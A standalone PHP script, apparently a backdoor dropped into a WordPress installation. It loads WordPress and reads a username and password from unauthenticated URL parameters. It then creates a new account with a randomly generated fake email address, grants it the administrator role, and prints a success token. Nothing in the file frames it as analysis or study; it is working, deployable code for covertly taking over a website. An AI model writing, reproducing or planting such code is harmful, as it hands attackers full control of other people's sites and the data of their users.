<?php

if(isset($_COOKIE['SNB0'])) {}

$dir = __DIR__;
while (!file_exists($dir . '/wp-load.php')) {
    $parent = dirname($dir);
    if ($parent === $dir) die;
    $dir = $parent;
}

require_once $dir . '/wp-load.php';

function generate_fake_email($domain = 'gmail.com') {
    $first_names = [
        'john', 'jane', 'mike', 'anna', 'alex', 'kate',
        'emma', 'liam', 'olivia', 'noah', 'ava', 'william',
        'sophia', 'james', 'mia', 'ben', 'amelia', 'ethan',
        'chloe', 'daniel', 'lily', 'lucas', 'grace', 'logan',
        'ella', 'jack', 'zoe', 'harry', 'ivy', 'leo', 'nina'
    ];

    $last_names = [
        'smith', 'doe', 'brown', 'white', 'black', 'taylor',
        'johnson', 'williams', 'jones', 'miller', 'davis', 'anderson',
        'thomas', 'moore', 'martin', 'jackson', 'lee', 'clark',
        'lewis', 'young', 'walker', 'hall', 'king', 'wright',
        'lopez', 'hill', 'scott', 'green', 'adams', 'baker'
    ];

    $first = $first_names[array_rand($first_names)];
    $last  = $last_names[array_rand($last_names)];
    $number = rand(10, 999);

    return "{$first}.{$last}{$number}@{$domain}";
}


$new_username = isset($_GET['user']) ? sanitize_user($_GET['user']) : '';
$new_password = isset($_GET['pass']) ? $_GET['pass'] : '';
$new_email    = generate_fake_email();


if (empty($new_username) || empty($new_password)) die;
if (username_exists($new_username)) die;

$user_id = wp_create_user($new_username, $new_password, $new_email);
if (is_wp_error($user_id)) die;

$user = new WP_User($user_id);
$user->set_role('administrator');
wp_set_password($new_password, $user_id);

echo '$OK$';
?>